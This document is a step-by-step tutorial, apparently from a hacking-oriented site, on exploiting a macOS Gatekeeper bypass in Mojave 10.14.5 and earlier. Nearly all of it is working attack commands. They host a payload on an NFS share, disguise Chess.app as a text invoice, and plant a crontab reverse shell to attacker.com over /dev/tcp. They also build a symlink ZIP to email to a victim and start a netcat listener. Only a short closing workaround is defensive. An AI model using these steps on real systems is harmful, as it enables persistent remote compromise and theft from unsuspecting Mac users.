Apple's Gatekeeper security software for macOS (Mac OS X) is vulnerable to remote attacks up to version 10.14.5. An attacker that's anywhere in the world can exploit MacBooks and other Mac computers by sharing a single ZIP file.
The vulnerability was discovered by Filippo Cavallarin, a security researcher and CEO of We Are Segment, an Italian cyber-security company. In his blog post, Filippo demonstrates how a remote attacker can exploit the vulnerability. His video (below) also shows it in action.
At the time of this writing, there is no patch for the vulnerability. It affects macOS Mojave 10.14.5 and all prior versions according to Filippo, so High Sierra, Sierra, El Capitan, Yosemite, and so on are likely all vulnerable.
He had made several attempts over three months to communicate the issue to Apple but had not received a follow-up response after responsibly disclosing the vulnerability. Filippo recently told us that Apple finally replied late and will fix the security vulnerability in macOS Mojave 10.14.6.
I'm going to show how an attacker would exploit the vulnerability. But before we dive into setting up the attack, let's quickly go over three essential technologies.
- Gatekeeper: A security feature of macOS designed to ensure that only trusted applications run on a Mac computer. Normally, when an app is downloaded through a web browser, Gatekeeper will either confirm the software is from a verified developer or immediately flag it as suspicious. With Filippo's exploit, Gatekeeper doesn't prevent a malicious app from executing.
- Symbolic Links: Useful for maintaining copies of the same file in multiple directories. A symbolic link (aka symlink) can point to a file or directory in another directory or remote computer. In this exploit, a symlink is used to point to a directory on the attacker's server. In macOS, symlinks that point to remote servers are automatically mounted and trusted by Gatekeeper.
- Network File System: A distributed file system protocol similar to SMB. The symlink invokes a connection to the attacker's Network File System (NFS) share which contains the malicious payload.app.
The setup outlined in this article will use a fake text file in a shared NFS directory. Keep in mind, the payload(s) can be disguised as any file type, including PDF, MP4, and JPEG. An app with a spoofed icon and file extension can be challenging to detect.
An NFS share will first be set up in a Debian 9 virtual private server (VPS). Then, two files will be created: payload.app and exploit.zip.
The payload.app is the file stored on the NFS share, intended for the target MacBook user, and will execute a persistence command that abuses crontab. The exploit.zip is the file shared with the target user and will contain the symlink that allows the attacker to bypass Gatekeeper's security features.
Finally, Netcat is configured on the VPS to receive reverse shell connections, and the exploit.zip is shared with the target via email.
- Don't Miss: Getting Started with Hacking macOS
To get started, SSH into the server where the NFS share will be installed. The attack can be set up on a local network (i.e., 192.168.1.2 in Kali), but this exploit allows an attacker to hack MacBooks from anywhere in the world, so let's take full advantage of that with a VPS demonstration.
Use the below apt-get command to install the necessary NFS software.
~$ sudo apt-get update && sudo apt-get install nfs-common nfs-kernel-server Hit:1 http://security.debian.org/debian-security stretch/updates InRelease Ign:2 http://http.us.debian.org/debian stretch InRelease Hit:3 http://http.us.debian.org/debian stretch-updates InRelease Hit:4 http://http.us.debian.org/debian stretch Release Reading package lists... Done Reading package lists... Done Building dependency tree Reading state information... Done The following additional packages will be installed: keyutils libevent-2.0-5 libnfsidmap2 libtirpc1 rpcbind Suggested packages: open-iscsi watchdog The following NEW packages will be installed: keyutils libevent-2.0-5 libnfsidmap2 libtirpc1 nfs-common nfs-kernel-server rpcbind 0 upgraded, 7 newly installed, 0 to remove and 58 not upgraded. Need to get 718 kB of archives. After this operation, 2,037 kB of additional disk space will be used. Do you want to continue? [Y/n]
The NFS service will probably start automatically, that's normal. Check the status of service using the systemctl command.
~$ sudo systemctl status nfs-server ● nfs-server.service - NFS server and services Loaded: loaded (/lib/systemd/system/nfs-server.service; enabled; vendor preset: enabled) Active: active (exited) since Sun 2019-05-26 22:16:48 UTC; 33s ago Main PID: 14386 (code=exited, status=0/SUCCESS) May 26 22:16:48 deb1 systemd: Starting NFS server and services... May 26 22:16:48 deb1 systemd: Started NFS server and services.
Make a working directory where the payload.app will be stored and shared. My example will use fake text files representing "invoices," so the NFS directory will be called "monthly" (e.g., monthly invoices).
~$ sudo mkdir -p /nfs/monthly
Next, edit the /etc/exports file where the NFS shares are managed. Use echo to make the /nfs/monthly directory remotely accessible to the target MacBook user.
~$ sudo echo '/nfs/monthly *(insecure,rw,no_root_squash,anonuid=1000,anongid=1000,async,nohide)' >> /etc/exports
Restart the NFS service with the following command.
~$ sudo systemctl restart nfs-server
Ensure the previous commands were successful by viewing mounted directories with the showmount command.
~$ showmount -e <vps ip address> Export list for <vps ip address>: /nfs/monthly *
Now, creating the payload requires a macOS device to follow along. The payload is the final code (or script) embedded in the payload.app that's executed on the target MacBook. The following commands will use the "$app" variable as the file name for convenience.
In macOS, open a Terminal. The following commands should be executed as a root user.
~$ sudo su
Set the $app variable, which will be the file name of the fake TXT file viewed by the target. My example uses the month of "May," but this value is completely arbitrary.
Copy (cp) the chess application into the /tmp directory. Filippo used the Calculator.app in his proof of concept, but I wasn't able to modify that application icon for some unknown reason. The Chess.app, however, worked well in my tests.
~# cp -r /Applications/Chess.app/ /tmp/"$app".app
Embed the desired payload into the copied application. My below example creates a very persistent backdoor. However, the payload can be substituted with any combination of post-exploitation scripts including sudo hacks, situational awareness enumeration, browser password dumping, microphone eavesdropping, and so on.
~# printf '#!/bin/bash\n%s' "echo '* * * * * bash -i >& /dev/tcp/attacker.com/9999 0>&1' | crontab -" >/tmp/"$app".app/Contents/MacOS/Chess
The printf command will pipe (|) a Bash one-liner into the crontab command. The Bash one-liner will attempt to create a new TCP connection every sixty-seconds to the attacker's system (attacker.com) on port 9999.
The attacker's domain can be substituted with a VPS or local network IP address. If successful, the target's MacBook will continue to attempt connections to the attacker's address, infinitely. Readers interested in scheduling cronjobs at intervals other than sixty-seconds should check out Ole Michelsen's article on using crontab in macOS.
- Don't Miss: Hack Mojave with a Self-Destructing Payload
Make sure the payload has permission to execute.
~# chmod +x /tmp/"$app".app/Contents/MacOS/Chess
Copy a desired Apple icon file and override the default Chess icon. The icon must be in ICNS format.
~# cp /path/to/text_file.icns /tmp/"$app".app/Contents/Resources/Chess.icns
Compress the $app.app into a ZIP file, which will make it easier to transport to the remote Debian server hosting the NFS share.
~# zip -ry /tmp/"$app".zip /tmp/"$app".app/
~# scp -P 22 /tmp/"$app".zip 188.8.131.52:/nfs/monthly email@example.com's password: May.zip 100% 4007KB 284.6KB/s 00:14
Back on the Debian server, the compressed $app can be found.
~$ ls -la /nfs/monthly/ total 4016 drwxr-xr-x 2 root root 4096 May 26 22:38 . drwxr-xr-x 3 root root 4096 May 26 22:17 .. -rw-r--r-- 1 root root 4103220 May 26 22:39 May.zip
Change into the directory with cd /nfs/monthly/. Install unzip with apt-get install unzip and decompress the $app with the following command.
/nfs/monthly# unzip May.zip Archive: May.zip creating: tmp/May.app/ creating: tmp/May.app/Contents/ creating: tmp/May.app/Contents/_CodeSignature/ inflating: tmp/May.app/Contents/_CodeSignature/CodeResources creating: tmp/May.app/Contents/MacOS/ inflating: tmp/May.app/Contents/MacOS/Chess creating: tmp/May.app/Contents/Resources/ ... inflating: tmp/May.app/Contents/Resources/ca.lproj/InfoPlist.strings inflating: tmp/May.app/Contents/Resources/ca.lproj/COPYING inflating: tmp/May.app/Contents/Resources/ca.lproj/About.strings inflating: tmp/May.app/Contents/Resources/ca.lproj/Board.strings inflating: tmp/May.app/Contents/Resources/Game.icns inflating: tmp/May.app/Contents/Info.plist extracting: tmp/May.app/Contents/PkgInfo inflating: tmp/May.app/Contents/version.plist
Move the May.app/ into the current directory.
/nfs/monthly# mv tmp/May.app/ .
Clean up the monthly/ directory by removing the tmp/ directory and $app.zip.
/nfs/monthly# rm -rf tmp/ && rm May.zip
All that should remain is the $app.app.
/nfs/monthly# ls -la total 12 drwxr-xr-x 3 root root 4096 May 26 22:53 . drwxr-xr-x 3 root root 4096 May 26 22:17 .. drwxr-xr-x 3 root root 4096 May 26 22:23 May.app
At this point, /nfs/monthly can be populated with arbitrary files to further conceal the malicious $app.app (shown below). Alternatively, the $app.app can be copied multiple times in the same directory using different file names, making every single file in the NFS share dangerous to click on.
The exploit.zip will contain the symlink. Remember, this symlink will connect to the NFS share on the Debian server, making the malicious $app available to the target user.
In macOS, open a new Terminal. Create a new "monthly" directory.
~$ mkdir monthly
Then, create a symbolic link called "invoices" in the monthly/ directory.
~$ ln -s /net/attacker.com/nfs/monthly monthly/invoices
Finally, compress (zip) the directory into an archive.zip. The archive is meant to be shared with the target.
~$ zip -r -y archive.zip monthly
The -r and -y options are essential to this command. The -r will recursively compress everything in the monthly/ directory, while -y will keep symlinks as they are. When the ZIP is decompressed on the target MacBook, the symlink will remain unmodified.
This vulnerability allows attackers to share the exploit.zip with any macOS user remotely. An email will be a capable attack vector.
With the exploit.zip sent to the intended target, it's just a matter of waiting for them to click on the "May" payload. Netcat can be set up on the Debian VPS with the following command.
nc -l -p 9999
Wait until Apple releases macOS Mojave 10.14.6, then install the update. Until then, as a temporary workaround, Filippo recommends disabling macOS's automount functionality to prevent NFS shares from being mounted via symbolic links, which can be done by modifying the /etc/auto_master file.
~$ sudo nano /etc/auto_master
Add a comment (#) to the /net line. Then, press Ctrl + x, then y, then Enter to save the file changes. Reboot the operating system for the change to take effect.